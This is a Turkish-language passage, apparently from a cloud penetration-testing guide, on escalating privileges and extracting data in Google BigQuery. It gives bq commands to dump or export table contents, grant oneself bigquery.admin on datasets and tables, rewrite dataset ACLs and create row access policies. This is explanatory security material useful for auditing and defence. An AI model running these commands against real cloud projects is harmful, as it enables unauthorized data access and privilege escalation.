Bir BigQuery tablosu içinde depolanan bilgilere erişerek hassas bilgiler bulmak mümkün olabilir. Bilgilere erişmek için gereken izinler bigquery.tables.get, bigquery.jobs.create ve bigquery.tables.getData'dır:
bqhead<dataset>.<table>bqquery--nouse_legacy_sql'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
Veri dışa aktar
Bu, veriye erişmenin başka bir yoludur. Veriyi bir bulut depolama kovasına dışa aktarın ve bilgi içeren dosyaları indirin. Bu işlemi gerçekleştirmek için aşağıdaki izinlere ihtiyaç vardır: bigquery.tables.export, bigquery.jobs.create ve storage.objects.create.
Bir Bigquery tablosuna güvenilir verileri başka bir yerdeki bir zafiyeti kötüye kullanmak için eklemek mümkün olabilir. Bunun için bigquery.tables.get, bigquery.tables.updateData ve bigquery.jobs.create izinleri kullanılarak kolayca yapılabilir:
Bir saldırgan, bu yetkiyi kullanarak bir BigQuery veri kümesi üzerinde kendisine daha fazla izin verebilir:
# For this you also need bigquery.tables.getIamPolicybqadd-iam-policy-binding \--member='user:<email>' \--role='roles/bigquery.admin' \<proj>:<dataset># use the set-iam-policy if you don't have bigquery.tables.getIamPolicy
bigquery.datasets.update, (bigquery.datasets.get)
Sadece bu izin, bir BigQuery veri kümesine erişimi güncellemek için ACL'leri değiştirerek erişime kimin sahip olduğunu belirten yetkilendirmeleri değiştirmenizi sağlar:
# Download current permissions, reqires bigquery.datasets.getbqshow--format=prettyjson<proj>:<dataset>>acl.json## Give permissions to the desired userbqupdate--sourceacl.json<proj>:<dataset>
bigquery.tables.setIamPolicy
Bir saldırgan, bu yetkiyi kullanarak bir BigQuery tablosu üzerinde kendisine daha fazla izin verebilir:
# For this you also need bigquery.tables.setIamPolicybqadd-iam-policy-binding \--member='user:<email>' \--role='roles/bigquery.admin' \<proj>:<dataset>.<table># use the set-iam-policy if you don't have bigquery.tables.setIamPolicy
Belgelere göre, bahsedilen izinlerle bir satır politikasını güncellemek mümkündür.
Ancak, bq komut satırı aracını kullanarak daha fazlasına ihtiyacınız var: bigquery.rowAccessPolicies.create, bigquery.tables.get.
bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("user:user@email.xyz") FILTER USING (term = "Cfba");' # A example filter was used
Satır politikalarının sıralaması çıktısında filtre kimliğini bulmak mümkündür. Örnek: